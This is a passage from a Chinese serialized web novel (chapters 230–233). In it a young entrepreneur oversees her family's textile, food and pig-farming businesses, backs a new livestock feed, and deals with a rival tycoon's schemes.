沈瑞露出赞赏的目光,点头道:“据我收到的消息,确实如此。你们应该了解过李明翰的行事风格,通过低价倾销挤垮同类企业,搞舆论战造谣摸黑对手,收买、离间管理层,最后再以最微小的代价蚕食鲸吞掉体量远超他的大型企业。” “他接连在南边尝到甜头,下一步就是瞄准华北和东北两个市场。只要打通了这两个区域,他的纺织帝国就能覆盖整个国内市场的三分之二。” “华北一带比较特殊,他心存忌惮,不敢做的太过,所以干脆打着先从东北入手,等成功占有东北市场后再反过来包抄华北地区的想法。所以能不能拿下东北的市场至关重要,二厂、以及那位纪厂长应该是很早就被盯上了。” 听沈瑞这么一解释,苏丽珍几人才恍然大悟。 管明月忿忿道:“这些洋鬼子资本家真是狡猾又恶毒!” 吕新芳也点头附和:“是啊,谁能想到会有这样的事呢?咱们还算是同行,可如果不是这趟跟着小六来凤城,我压根都不知道南边好多纺织企业已经被这个李明翰坑的那么惨!这要不是亲眼所见,我大概还天真地以为这些恶劣的竞争手段仅限于国外。” 其他人也心有戚戚。 第230章 沈瑞解释清楚了来龙去脉后,就跟苏丽珍道了别:“珍珍,我先走了。李明翰这个人非常狡猾,这次难得抓住他的把柄,好好运作一下,至少能让他焦头烂额一阵子,没时间再来打扰你们。” 说完,朝着吕新芳几人礼貌地点了点头,便转身走了。 周明义连忙凑到苏丽珍跟前道:“小珍珍,我告诉你啊,这次对付那姓李的,我瑞哥可出了大力,他……” “小义!” 沈瑞的声音清凌凌地传过来,周明义立马不敢说话了,只能朝着苏丽珍一顿挤眉弄眼:“小珍珍,那小义哥我先走一步哈!” 说完,就赶忙追沈瑞去了。 等连跑带颠追上人,看对方打开车门,直接上了副驾驶,周明义才忍不住嘟囔道:“瑞哥,你怎么不让我跟咱珍珍妹子好好念叨念叨呢?明明你这次为了抓住这姓李的把柄,搭进去不少人情!” “你说你费了这么大劲儿,好歹也让人家姑娘知道啊!这一声不吭的……这么追姑娘可不行啊!” 沈瑞掏出烟,正准备点着,想起身边有人,又放了回去。 听了周明义的话,他只是笑了笑:“没什么行不行的,这样挺好。” 说罢,又温和地开口:“小义,上来把相机放好,今天你来开车吧。” “哦,好。”周明义下意识点头。 等把相机放好,坐上驾驶位发动车子后,他才蓦地想起,两人出去哪回不是自己开车? 这家伙,就知道转移话题! 明明在特区那会儿,一接到这边有人报信,说是那姓李的老是打听珍珍妹子的事,这人连凳子都坐不住了。 结果这会儿,人到眼前了,却连多一句话都没有,白白浪费这大好的机会! 真是的!这么不紧不慢的,怕不是要一辈子打光棍了! 真是皇帝不急,太监急! 另一边,自从沈瑞带着周明义离开后,苏丽珍就异常沉默。 吕新芳几个相互看看,最后还是管明月胆子最大,上前试探道:“我说六啊,你到底是咋想的?其实叫我们看,你这位沈大哥真挺t不错的,你要不再考虑考虑?” “感情啥的不是可以慢慢培养吗?这么好的对象错过了,怪可惜的。” 苏丽珍也不知道该说什么。 她心中有个秘密,永远都无法告诉别人。 也因为她的秘密,她没法接受沈瑞。 可大家都看出了沈瑞对她的真心相待。 她不是铁石心肠,怎么会没有触动。 之前她一直坚持认为,回应不了的感情,纠缠越多,对方只会越痛苦,所以最好的办法是远离。 可这个人为她做了太多,多到她都不知道怎么还。 这样的情况,她还坚持疏远对方,会不会太自私或者残忍? 这份于心不忍,让她陷入了一瞬间的迷茫。 但是很快,她又清醒了。 她做的没错。 她回应不起这份感情,也不觉得自己配得上,所以拒绝到底才是她唯一该做的。 沈大哥,他值得一个更好的女人和一份更纯粹、心无旁骛的感情。 时光流逝,四季轮转,转眼又是一年冰雪隆冬季。 苏丽珍刚下了火车,就看到了来接她的丁大勇。 “珍珍!” 丁大勇上前接过她的行李,又仔细打量了她一会儿,确定她这次没什么大的变化,不由高兴道:“看来你说你现在不怎么忙是真的,这瞧着跟暑假回来那会儿变化不大。” 苏丽珍笑道:“早就跟你们说了,我现在只是课业随着导师走,虽然寒假比大学时期要短,但是平均下来每天也没有多少事,不像那会儿为了修双学位,周末都不休息,几乎连轴转。” 丁大勇也笑:“还不是你那两年,每次一放假回来人就瘦一圈,这个事在师父、师娘和苏爷爷他们那里一直过不去,现在提起来还时不时念叨几句呢!” 结束了这个话题,丁大勇又问道:“新芳姐这次没跟你一起回来吗?” 苏丽珍摇头:“首都的新厂子刚收拾完,还得调整一段时间,她不放心,打算再看一阵子,估计最早也要下周来。” 212寝室六姐妹毕业后,只有陈红梅回了海市,管明月留校,吕新芳选择了自己的公司,刘思彤被分配到外交部翻译处,万美君则去了外贸局。 吕新芳打从去年年初收购了纺织二厂后,新公司“姐妹”托沈瑞牵线,咬牙从香江引进了一批最新设备,又高薪从南方厂子挖来技术人员。 新设备安装调试成功后,很快投入生产。 如今“姐妹”牌化纤合成布,顶着比“洋布”颜色更纯,花样更时髦,价格却更便宜的名头,进入市场后一炮而红,销售业绩喜人。 在保留了原二厂的纺织业务基础上,吕新芳也没忘记最初答应二厂工人的话,开始扩大经营规模,逐步开发出服装、家纺用品的加工生产线。 二厂的服装和家居用品一经正式推出,立马叫人们想起年初展销会上那一批便宜又好看的产品,念旧的凤城老乡们立马热烈捧场,第一天就把所有新产品一扫而空。 这里不得不提的是,当初苏丽珍为了处理老旧布料,结合当初二厂自建的服装加工班组,灵机一动想出来的“仿工装”受到了广大年轻人的追捧,在凤城市及周边几个市县空前流行! 本地的小青年们,不论男女,要是没有一身帅气又深沉的“仿工装”,那绝对是个不懂潮流的“土老帽”! 吕新芳抓住商机,趁势又推出多彩“仿工装”系列,使原本内敛风的“仿工装”又多了俏丽、活泼的风格,更是直接引爆了销量,并再次快速流行起来。 总之,现在在大半个东北地区,上到一线省会城市,下到小型乡镇,就没有人不知道“姐妹”牌“仿工装”的! 凤城这边“姐妹”公司销量屡创新高,首都的“芳月”也毫不逊色。吕新芳没有盲目照搬凤城这边的大热产品,而是结合南方的流行花样,设计出更符合首都及周边地区市场的新款式,同样获得了成功。 去年九月,“芳月”厂房所在的区域要搞开发,吕新芳紧赶慢赶在阳历年前把新公司厂房、办公楼建好,装修完成,趁着元旦放假就搬了过去。 正好那段时间,苏丽珍要跟着导师一起准备一个经济学术研讨会,研讨会结束后又要写学术报告。前前后后二十来天,除了开会那几天走不开,其他时候她都能挤出时间,和管明月一起,去给吕新芳帮忙。 也因为要忙新公司那边的事,所以吕新芳这次没能跟苏丽珍一起回凤城视察。 说话间,丁大勇的车子也开到了火锅店。 苏丽珍坐在副驾驶上,老远就看见饭店门前站着个推自行车的男人,正探头往店里张望。 等到了近前,她才认出这人居然是江宏达! 她想起今天是礼拜天,这个时候见到人也不奇怪。 不料丁大勇看到对方,却是一边停车,一边“噗嗤”笑出了声。 苏丽珍觉得奇怪,那边江宏达转头看见是他们回来了,顿时露出了一个局促的表情,让苏丽珍越发莫名其妙。 看他们下车,江宏达踟躇着过来打了个招呼:“苏总回来了!” 苏丽珍笑着点头:“江哥是有什么事吗?进去坐会儿吧!” 江宏达赶忙摇头:“没有、没有,我就是听东副总说苏总你今天回来,所以送点我妈做的腌菜过来。” 苏家人都很喜欢江家的腌菜,尤其苏丽珍,有时候在外奔波一整天,回来没有胃口,用白粥就着江家的腌菜也能囫囵吃上一碗。 苏丽珍正要道谢,旁边丁大勇再次笑出了声:“江哥啊,你这一个月送了三趟腌菜了,就算你这回不送,这家里的也够她吃半年一载的了!” 江宏达脸上一红,支吾道:“这东西禁放……多存点,啥时候想吃都行……” “那什么,苏总、丁总,我就先走了!你们什么时候想吃这腌菜,我再来送。” 说罢,把自行车上挂着的一小罐酱菜塞给丁大勇,就匆匆调转车头,逃也似的走了。 苏丽珍看着对方一路推着自行车狂奔,居然都忘了骑,更觉奇怪。 她回头看着笑得前仰后合的丁大勇,露出不赞同的表情道:“大勇哥,你刚刚是在故意捉弄江宏达?” 丁大勇这才止了笑,指了指刚刚江宏达张望的方向,神神秘秘道:“这人啊,是盯上你们家宝贝了,我不捉弄他、捉弄谁!” 苏丽珍顺着他指的方向看过去,只见自家内外两重门大开着,这会儿连厚实的棉门帘也被掀开一撇搭在门扇上,中间直接露出一道大空子,这么朝里看,刚好能看见大堂正对大门的柜台一角。 柜台?柜台有什么宝贝? 丁大勇便再一次提示她:“想想你们家谁经常在这柜台里?” 谁经常在柜台里……倏地,一道灵光闪过,她下意识脱口而出:“大勇哥,你该不会是说小麦姐吧?” 所以是江宏达相中她小麦姐了? 见丁大勇点头,苏丽珍先是诧异,随后又忍不住道:“这是什么时候的事?小麦姐这边是什么想法?” 丁大勇先回答她第一个问题:“去年夏天,小麦不是去你的食品公司顶了一段时间岗吗?应该就是那时候叫这个江宏达盯上的。” 苏小麦经过几年的刻苦学习,终于在两年前拿到了夜校会计专业的结业证。 苏丽珍问她想去哪一家公司上班,对她来说,无论是食品公司、还是建筑公司,哪边都可以,只看苏小麦自己的兴趣。 不料,苏小麦最终却都拒绝了。她跟家里人坦承,其实之前上学只是为了完成她一直以来的心愿。随着从夜校毕业,她的心结已了,反而哪里都不想去,只想留在火锅店里,每天守着干爸、干妈过日子。 苏家人一听这番话,再想到她坎坷的儿时经历,只觉万分心疼,便决定一切遵从苏小麦的想法。 只是去年夏天的时候,食品公司财务部有一名员工出了意外,要在家休养一段时间,临时找不着人,苏振东只好拜托苏小麦先顶上。 之前苏振东还跟苏丽珍打趣,说他们家小麦长得高挑靓丽,打从一进公司就不知道惹得多少小伙子明里、暗里打听,他可是体会了一把“家里有女初长成”的烦恼。 现在想来,江宏达大概也是那个时候看中了人。《 》 230-240 第231章 苏丽珍对江宏达还是比较满意的。这几年看下来,江宏达人品t不错,有责任心,做事稳妥。江家的情况也比较简单,江母和善、拎得清,江大姐虽然不会说话,但性子温柔贤惠,很好相处。 江宏达现在每年又能从食品公司拿到大笔分红,现在江家的家底儿可厚实得很。 综合看下来,这人也当得起一声“良配”。 只是江宏达再好,如果她小麦姐不喜欢,那就不行。 在她心里,自然是只在乎苏小麦的想法,丁大勇也明白这点,所以他有些无奈道:“至于你小麦姐的想法……她的性子,你还不了解?你与其问她怎么想,还不如去问师父、师娘怎么想。小麦妹子心里只有你们一家人,大概只要师父师娘和你觉得好,她自己啥样的都行!” 苏丽珍听完沉默,这确实像是小麦姐会做的事。 丁大勇见她担心,便又劝道:“师妹你也别太担心,我也观察了一段时间,小麦妹子好像对这个江宏达也不是没有一点好感……就算她不喜欢也没关系,就凭咱们的条件,她想找啥样的找不着啊!” 苏丽珍一时也不知道能做什么,想了想,决定还是先顺其自然。 “那咱们就先什么也不说、也别去问小麦姐,让小麦姐自己和江宏达自然接触一段时间。如果小麦姐对江宏达有意,那咱们就高高兴兴给她准备嫁妆……要是最后她没有这方面的想法,那咱们就当从头到尾不知情。” 师兄妹俩沟通完,这才进了屋。 店员夏春花正在扫地,看见她回来了,立马道:“小老板回来啦?那个安厂长来了,老板、老板娘他们都在楼上陪他说话呢!” 苏丽珍点头:“我知道了,谢谢春花姐,你继续忙吧。” 难怪她和师哥在外头耽搁了这么半天,都没人出来。 以往只要听到汽车声,她爸妈早就出来接她了! 苏丽珍只好先上楼。 半年时间没见,安厂长这次模样倒没怎么变,就是这鬓角的白发越来越藏不住了。 安厂长一看见她,立马高兴地从沙发上起身迎过来:“哎呀,可是把大侄女你给盼回来了!” 苏丽珍笑着跟他开玩笑:“知道安伯伯你肯定惦记我,所以只要学校一放假,我这不立马就回来了。” 安厂长哈哈大笑:“不只是我惦记你,还有个捣蛋鬼比我还惦记呢!” 说着,从怀里掏出一封信递给苏丽珍:“是芳芳来信了,她担心你学校放假收不到,就一并寄回了家里,托我们转交给你。” 苏丽珍又惊又喜,连忙接过信,当场拆开看了起来。 信上还是谢芳芳一贯的风格,事无巨细地描述她每天的作息和饮食,满篇都是“周一早上的白粥没有周四早上的好吃”“周二的鸡腿上有毛的概率比周五的时候高”,还有“珍珍你每次寄给我的熟食总是被大家找各种理由换走”这类幼稚又可爱的小牢骚。 苏丽珍看得津津有味,只是看到最后,确定谢芳芳今年过年还是不能回家后,她终于难掩失望,怅然地把信收好。 安厂长见她这样,便乐呵呵开解道:“不回来也好,这孩子之前身上一大堆毛病,现在总算像了点样。难得国家帮我们调理人,这可是一辈子受益的好事。” 说到这里,他又想起来道:“对了,上个月我碰到卢局,他跟我说卢向阳上个月寄来一封信报平安,信里还提到了你和芳芳,卢局就托我帮忙给你们带个口信。这孩子具体在外执行什么任务,连卢局都不知道,不过能收到平安的消息就是好事。” 这又是一个惊喜! 苏丽珍听完这个消息,总算是从谢芳芳又一次无法回来的遗憾中缓了过来。 苏卫华夫妻跟女儿说了几句话,就起身先下楼了。 苏丽珍顺势打听起一厂的近况。 一提到一厂,安厂长脸上不自觉露出笑容:“托了大侄女你和吕总的福,我们厂跟着借了不少光。如今新生产线生产的新式布料销路很好,这账面一下好看了不少。” 当初骗纪厂长的两个香江骗子落网后,二厂被骗走的设备款也追回了一部分,“姐妹”公司很快就还清了之前欠一厂的钱。 安厂长拿到资金后,也学着“姐妹”公司,请托沈瑞从香江引进同款新设备,紧跟着“姐妹”的步伐,很快也生产出了同类型的新式布料。 “姐妹”公司这边呢,因为自家的服装、家纺用品销售火爆,使本公司生产的新式布料大部分都供应了自家,直接进入市场的份额反而不多。 而在此之前,她们第一批上市的新式布料已经引发了人们关注,只是后续产量一直跟不上,所以这个时候一厂入局正是天时地利,时间卡的刚刚好。 苏丽珍赶忙道:“安伯伯,什么借光不借光的,您不要这样想。如果不是当初您把资金先借给了二厂,那说不定你们早已经购置了新设备,提前生产出新式布料了。” “芳姐总是跟我说,危难之时见真心。您是个好领导,一心为大伙儿着想,正是因为有您,二厂才能等来今天,您才是两个厂当之无愧的功臣!” 这话听得安厂长心里热乎乎地发胀。 只有他自己知道,这一年有多难。 过去的一年时间里,他为厂里陆续更换了一大、一小两条生产线。如今新设备产能占比已经达到三分之一,加上旧生产线改改还能对付用,今年的财报终于不再像前两年那样,维持在一条岌岌可危的平衡线上,总算有了盈余。 虽然还有很多发愁的事,可大体一切是在向好的方向前进。 只是自己一人独处时,他也时常会感到累。 一厂不像二厂,体量小,灵活性高。现在的一厂即便不比当年,有近万数的工人,眼下大几千人还是有的。 这么大的厂子,任何一点微小的变革都可能带来连锁反应,引发叫人措手不及的意外。 他一边要全力推行改革,一边还要注意把控全局、把阻力降到最低,一个人当几个人用,有的时候就会感到力不从心。 要是有人理解还好,就怕人家觉得他整天啥事不干,只想着把账上那俩钱都挪到自己腰包里,那才是天大的冤枉。 所幸,这世上有人能看懂他的辛苦,他这心里也知足了。 安厂长笑着对苏丽珍摆了摆手,感叹道:“我哪里是什么功臣!但是能从你们这些优秀的孩子口中听到这么高的评价,我就觉得我这辈子值了。” 苏丽珍看着他鬓角那些白发,心里也有些发酸。 最终,她真诚道:“安伯伯,您所有的努力都不会白费,您一定能心想事成。” 苏丽珍在家休息了两天,第三天一早,张表舅就和他大舅哥陈大伯一块儿来了。 这几年,张家屯的养殖基地随着“珍珍食品”的快速扩张,先后三次扩大规模。 基地出产的鸡鸭禽蛋类产品目前全部供应总公司,虽然还无法做到对“珍珍”的相关产品原材料需求实现完全覆盖,但是目标占比也已经达到了50%以上。 且因为是自家基地直供,生产成本直接降低10%以上。如果将来公司能够完全做到自给自足,这个成本甚至可以直接压缩到20%,因此苏丽珍一直十分重视养殖基地的发展。 去年夏天,苏丽珍复制张家屯的基地发展模式,在陈大伯所在的陈家屯同样投资建了一个养猪场。 陈家屯的养猪场跟张家屯的禽类养殖基地一样,由苏丽珍直接投资占股60%,陈家屯全体村民共同持股剩余40%。 陈家屯早就眼馋张家屯的村民一年啥也不干,每到年底就能从养殖基地里分出钱来,所以全村上下对建猪场的事格外上心。 陈家屯的村干部还主动提出,要让与苏家熟识的陈大伯负责养猪场在村里的事务。 陈大伯这几年一直在给火锅店收货、送货,如今刘五爷的批发公司已经发展的很完善了,苏丽珍干脆就跟苏卫华和李翠英商量,以后店里就直接让批发公司送货,陈大伯退下来,刚好去帮她管理养猪场。 陈大伯接手养猪场后,十分尽心尽责,比当初张表舅还上心。 陈大伯的努力也没白费,年前十一月中旬的时候,她就接到对方报喜的电话,说猪场开场以来第一批养大的母猪已经成功配/种,约莫今年二月初的时候,猪场就能迎来一大批胖乎乎的小猪仔了! 本来苏丽t珍是打算这几天先处理食品公司这边的事,过几天就去一趟养猪场那边看看,没想到陈大伯和张表舅倒是先来了。 苏丽珍飞快下楼,结果到了楼下才发现,两人今天还带了个熟人过来。 “石学长,快请坐!真是好久不见,你怎么有空过来?” 来人石磊,原来是凤城农业大学的学生,当年,“朱记”饭馆故意找人来店里捣乱,刚好石磊和他的导师赵教授也在店里吃饭。火锅店食材和底料的第一张检测报告就是赵教授主导的农大实验室帮忙出具的。 这些年,无论是火锅店、还是食品公司,只要是入口的东西,苏丽珍一直都是联系赵教授的实验室做检测。 后来先后成立的两个养殖基地,在饲料配比、疫病防治和育种繁殖等方面,也都是通过赵教授的推荐请专人过来指导。 可以说,赵教授帮了她不少忙。 石磊是赵教授的爱徒,毕业后被赵教授直接推荐到了市里的农科院工作,自然是前途无量。 说话,石磊也朝苏丽珍露出笑容:“苏学妹,好久不见!” 苏丽珍请三人落座后,还不等她问,石磊就当先表明了来意。 原来打从前年开始,石磊所在的农科院就和农业大学赵教授的实验室合作,共同研究开发专供家禽和家畜食用的营养饲料。 一直到去年五月,两个行业大拿成功研究出了两款适合猪和鸡的精饲料,分明命名为:精粮1号和精粮2号。 后来经过连续八个月的动物实验,证实这两款饲料具有适口性好,能促使猪和鸡快速生长,提高出栏率,同时增强动物免疫力等诸多优点,功效完全不输进口的营养饲料。 关键是赵教授为了能让广大农民养殖户买得起饲料,当初就一力坚持控制成本,避免使用那些造价高昂的原材料,所以新发明的精粮1号和精粮2号难得的价格也不算高,可以说非常有性价比。 可谁能想到,就算有这么多优点,两款饲料在实际推广的时候仍然在农户中遇了冷。 大伙儿的想法非常简单,在他们眼中,猪啊、鸡啊的吃点草就能长肉,喂点粮食就见膘。实在不行,还有打豆油剩下的豆粕呢,那玩意儿不花钱,牲畜吃得嘎嘎香,长肉也快。 办法有的是,干啥非得花钱买那饲料? 总之,这两款由农科院和农大实验室精心研究的营养饲料,如今陷入了推广难题。 一度指着这批饲料上市后大卖,好请示上头扩大规模,准备大干一场的饲料生产单位连带也跟着不上不下,处境尴尬。 眼见着恩师为这事发愁,石磊就想起了苏丽珍的两个养殖基地。 如今以“珍珍”和两个养殖基地的影响,如果两个基地肯使用精粮1号和精粮2号,那势必会带动更多人尝试。 他思来想去,最终决定试一试。 只是前几天苏丽珍不在家,他只好先去找张表舅和陈大伯商量。 张表舅和陈大伯很重视石磊,但是这事他们也不敢擅专。 两人本来正在家琢磨这事呢,刚好得知苏丽珍回来了,他们干脆找上石磊,让他亲自过来给苏丽珍再说一遍。 第232章 对于买饲料这事,张表舅个人还是比较感兴趣的。 因为当年养殖基地刚建成的时候,他记得苏丽珍经常提起饲料的事,只是那段时间他们一起跑遍了整个凤城市,也就找到一家规模不大的饲料厂。 当时也不知道是限于规模、还是技术问题,反正那会儿那家饲料厂生产的鸡饲料又贵,效果又不出奇,也没比农大老师过来指导他们自己配的饲料强多少,反正是不划算。 苏丽珍不免有些失望,张表舅那时一边宽慰她,一边自己心里就留了念想。 他觉得能叫苏丽珍这样惦记的东西,肯定效果不一般。 后来听了石磊的话,听说只要每顿在喂鸡的普通饲料里掺上一把这种营养饲料,小鸡的出栏时间能直接提高一倍,还能保证蛋鸡每天都稳定下蛋。 老实说,虽然他觉得这个结果有点夸张,但也侧面证实了之前苏丽珍说的那种能叫牲畜嗷嗷长的饲料是真的存在。 所以,他自己对这件事是乐见其成的。 而陈大伯呢,因为养猪场成立半年多,至今没见过多少回头钱,如今这段时间还好,之前那几个月每天钱像流水一样往外花,花得他手抖。所以现在多少有点犯“小心眼”,恨不得一分钱掰两半,他就觉得这猪饲料可用、可不用,没必要浪费这个钱。 苏丽珍听了石磊的话,又弄清楚张表舅和陈大伯各自的意见后,没立即开口,而是接过石磊主动递来的关于这两款饲料的检测报告和后期动物实验数据,认真翻阅起来。 等把两份报告都仔细看过后,她第一时间就朝石磊点头,拍板道:“石学长,我现在就能给你答复,我们的两家养殖基地准备分别购进一批精粮1号和精粮2号。” 见石磊目露惊喜,她也跟着笑了起来:“如果之后基地使用这两款饲料效果确实不错的话,我们还会和饲料厂签订长期供应合同。” “谢谢你,苏学妹!”石磊更加欣喜,“我也要替赵教授跟学妹你说句谢谢,谢谢你肯帮我们!” 苏丽珍摇头,认真道:“石学长,你不必这样说。我其实一直很想找到一款能长期使用的饲料,之前自己主动去找过几家,效果都很不理想。” “所以与其说是我帮你们,倒不如说咱们是互惠互利。赵教授他们研究出这种高性价比的优质饲料,最终收益的还是我们这些要吃这碗饭的人。” “如今精粮1号和精粮2号遇冷,主要还是大家此前没有真正认识到这种产品能带来的巨大收益。我认为,这只是时间的问题。假以时日,等人们认识到了它的好处,你们的精饲料就会供不应求。到时候,说不定我还要追着厂家给我们供货呢!” 石磊被她描述的乐观前景逗笑了,他听出苏丽珍话里的宽慰,心里越发感激,一时心热,虽然觉得现在说这话有点自大,但他还是发自肺腑道:“都说‘雪中送炭’难!学妹,你放心,我和赵教授一定会记得你今天的帮助。只要我们能说得上话,将来短了谁,也短不了你们那份。” 苏丽珍笑道:“那敢情好!我今天一定要把学长的话记得牢牢的,可不给你赖账的机会!” 石磊也笑得开怀:“不赖账,坚决不赖!” 石磊急着要给赵教授报喜,先走一步。 把人送走后,苏丽珍回头就对陈大伯耐心解释起来:“陈大伯,优质饲料其实对牲畜生长能起到很大作用。在国外,配套的饲料产业已经非常发达,只是我们国家这才刚解决温饱问题,之前没有余力发展这些罢了。” “如果我们想一直走集约化的优产路线,这些能帮我们提高产量、降低成本的科学手段就早晚要利用起来。” “我知道您一心想帮我省钱,但是老话说‘磨刀不误砍柴工’,该花的钱还是不能省。可能您现在多少还对石学长的话不太相信,觉得夸张,我建议您可以先实验一下。比如找两只同月份、同体重的小猪,一只喂精粮1号,一只不喂,几天后再看它们的生长情况,到那时,您就知道这钱咱花的值不值了。” 陈大伯有些惭愧道:“不用试了,是我想岔了,人家那么大的教授,还又是农科院、又是农业大的,咋可能随便忽悠人?我啊,就是太老脑筋了,思想不够活跃。” 苏丽珍不由笑起来:“陈大伯,没您说的那么严重!咱这养猪场毕竟新成立,您精打细算也是应该的,这养猪场在您手里管着,我放心得很!” 一句话立时哄得陈大伯脸上有了笑模样。 “苏总,别的我老陈不敢说,但是养猪、看猪这些活儿,我老陈敢给你打包票,一准给你看得明明白白!” 苏丽珍笑着点头。 中午,她特地留了张表舅和陈大伯一起吃了顿热乎乎的火锅,然后就跟着两人回了养殖基地。 第一站先去陈家屯看养猪场。 两溜新盖的红砖水泥场房舍宽敞又亮堂,猪舍内部打理的很精心,也没多少异味。 苏丽珍到的时候,正赶上工人喂食,看着一大群白白嫩嫩的大肥猪们守着食槽埋头吃得喷香,她心情极好。 陈大伯说,再过两天就能出栏一批大肥猪,苏丽珍干脆直接掏钱,让陈大伯帮她留了两头。t 这是她养猪场出栏的第一批猪,她打算给自家和亲朋好友们都分一点,尝尝味道。 之后,她又去看了怀崽的母猪。 这些母猪单独养在一间大猪舍内,里面还有一排排的小隔断,火墙也烧得挺热乎,刚吃饱肚子的母猪们懒洋洋地卧在稻草垫子上,一看就知道被照顾得很好。 苏丽珍不由又把陈大伯夸了一顿。 张表舅在一旁听得眼热,等从陈家屯出来,往张家屯走的路上,还忍不住嘀咕:“其实表舅我养猪的本事也不差。” 当初听说苏丽珍要在陈家屯投资建养猪场,张表舅非常不理解,觉得张家屯养殖基地那么大的地方,咋还养不了猪了?何必花那大价钱出去单建! 后来还是听农大的老师解释,才知道猪和鸡、鸭不宜同样,容易闹疫病和寄生虫,他这才歇了心思。 苏丽珍闻言哭笑不得,只得“一碗水端平”,哄着对方:“我的表舅,您当然也厉害,您的鸡鸭养得最好,一样是咱们公司的大功臣!” 结果叫苏丽珍这么一夸,张表舅反倒抹不开了。 一路说笑到了张家屯养殖基地,勉强把里头走了一遍,天就黑了。 苏丽珍当晚就留在张家住了一宿。 张家分家后,张表舅两口子就带着小儿子张宝洋和闺女张宝丫,加上一个张老太,一家五口过日子。 两年前,因为张表舅养殖基地实在太忙,张老太太的身体又大不如前,张舅妈只好辞了工,在家里照顾老人。 张宝洋大前年考上了凤城市一所工科大学,如今正放寒假在家。 张表舅唯一的女儿宝丫明年也要参加高考,这孩子成绩中等,张表舅夫妻俩也不给孩子压力,考上啥算啥,实在不行就回家,他们两口子也不是养不起。 张家人一听说苏丽珍今晚要在自家住,一个个都喜出望外,张老太更是急着要下地,说啥都要亲自给苏丽珍做顿饭吃。 苏丽珍哪里能劳动老人家,赶忙劝道:“姨姥姥,我好长时间没见您老人家了,您先跟我说会话吧,我还挺惦记您老的呢!” 老太太一听这话,脸上笑得一朵花一样,当下把做饭这茬放一边,拉着苏丽珍的手亲亲热热地唠起嗑来。 结果这嗑刚唠上没一会儿,屯里家家又像之前那样开始过来送东西。这家送只野兔子,那家送条大鲤鱼,还有成筐的大柿子和山里红,很快就把张家堂屋堆满了。 张表舅的侄孙,那位岁数大、辈分小的老爷子张来福更是进屋就喊:“姑啊,这是我才刚凿冰窟窿捞的黑鱼,瞧这大个儿,叫我叔奶(张舅妈)给你炖汤喝,这玩意儿老香了!” 苏丽珍对自己一度下不来的辈分很无奈,而且人家老爷子一家子可能也习惯了自家在村里辈分小,老人家的大儿子回回看见苏丽珍打招呼都是一句:姑奶好! 所以,她渐渐也就习惯了。 晚上张舅妈亲自下厨,做了一大桌好菜,苏丽珍吃得美美的。 夜里,躺在热乎乎的炕头上,她难得好眠,一晚上都没做梦。 第二天视察完养殖基地,确定情况都好后,她又顺便参观了一下张家屯如今经营得有声有色的大棚事业,之后才跟张家人告别,回到市里。 接下来一段时间,苏丽珍一半时间在公司处理公务,一半时间在家里陪着家人,隔三差五给好朋友们写写信、打打电话,日子难得惬意。 腊月初十,津市举办了一场全国副食品博览会,给“珍珍食品”也发了邀请函,公司上下非常重视这次博览会。 苏振东亲自带队参加,并在一周后如愿捧回了一座一等奖的奖杯。 多地的主流报纸跟进了这场隆重的盛会,连带得了一等奖的“珍珍食品”也再次露脸,声名远播,着实是又叫大家高兴了好一阵。 临近小年之前,苏丽珍亲自去机场接到了匆匆而来的吕新芳。 “芳月”最近接了一笔政府的大单,报价很高,利润十分丰厚,只是工期紧、甲方要求严格,所以吕新芳不敢离开太长时间。 她这次前后在凤城总共停留没超过三天时间,在把“姐妹”公司的账目、报表捋过一遍,确定了年后的生产计划,又参加了公司举办的新春庆祝联欢会后,当天下午就登上了回首都的飞机。 送走吕新芳后,苏丽珍就安心在家陪着家人一起,置办年货、大扫除,安心准备过年。 只是年前二十八,跟首都的沈老爷子又一次通电话后,她才得知,小年刚过,沈瑞就再次飞去了米国。 去年年初那次,沈瑞彻底跟李明翰撕破脸了。 李明翰在陷入跨国诈骗案的丑闻不久,在沈瑞的有心推动下,之前被李明翰不择手段算计过的对家,也趁机狠狠报复了这人一把,致使李明翰及他身后的李家接连损失了不少利益,名声更是一落千丈。 李明翰把这一切的源头都算在了沈瑞头上,在自己几乎脱了一层皮,好不容易成功脱身后,这家伙就开始马不停蹄地给沈瑞找麻烦。 听周明义说,短短半年时间,沈瑞在米国和香江的注册公司就先后被以各种理由接连找麻烦。 虽然最终都被沈瑞一一化解,没能造成什么不好的影响,但是被这种小人像跳蚤一样盯着咬,肯定也难受。 苏丽珍为此十分愧疚,也曾抛下自己的坚持,主动联系沈瑞,希望自己可以出一份力。 只是每次不管她怎么说,沈瑞都会用他一贯温和却坚定的语气告诉她,李明翰的事与她无关,他自己有这么做的理由而已。 苏丽珍知道他是故意这样说,心里越发歉疚,却又不知道能做什么。 这次从沈老爷子电话里,她知道沈瑞这一趟出门,估计年后元宵节回来都算是早的。 听着老爷子长吁短叹的声音,苏丽珍心里格外不好受,只能答应老人家,年后没什么事就早点回首都看望他。 挂了电话后,苏丽珍心里就闷闷的,但她已经习惯在家人面前做出开心的样子,一时倒也没人察觉。 从大年初六开始,陈大伯就来报喜,说是初六凌晨三点多,有九头母猪一起临盆,总共生下了106只小猪仔。 这一批小猪仔,只有两只不小心被母猪压了一下,有点虚弱,但是兽医已经确定过,只要精心照料,问题不大。 第233章 往后每天都有母猪临盆,陆陆续续一直到正月初十,所有母猪都生产完,养猪场这次一共收获了一千余只小猪仔,开年就迎来了大丰收。 苏丽珍带着一家人去看小猪。 因为怕刺激刚生产完的母猪,大家只是站在栏外,远远地看着。不过一次能看到那么多只白胖健康的小猪哼唧唧吃奶的样子,还是叫大家稀罕得够呛。 回去后,李翠英还童心大发,蒸了一锅小猪馒头,喜的芽芽连呼“可爱”,然后一口气吃了三个,结果被自家爷爷笑话不该叫“苏芽芽”,而是叫“苏小猪”。 苏丽珍看着家人无忧无虑的样子,心情总算好了许多。 是夜,通往凤城市西郊的车道上,一辆“解放”牌货车正匀速行驶着。 突然,前方的车道上闪出一道人影,唬得开车的司机一脚把刹车直接踩到了底。 车停下后,司机又开始后悔,这深更半夜,旷野无人,要是劫道的咋办? 司机心里紧张的不行,正掂量着要不要重新发动车子快走的时候,那道人影忽然摇摇晃晃地朝他走了过来。 司机心里直发毛,可很快他又留意到,前面车灯下那人身后有拉长的影子。 确定不是什么脏东西,司机总算松了口气,正好那人也已经晃悠到了他车门下。 他把车窗摇下一道缝,警惕地问道:“你是啥人?你想干啥?” 谁料,跟他想的完全不一样,那人声音竟格外虚弱:“大哥,救、救命啊!我们在前面遇上劫道的了,我和我哥都被他们抢了!” “车没了,我哥也受伤了!求求你,帮帮我们吧!” 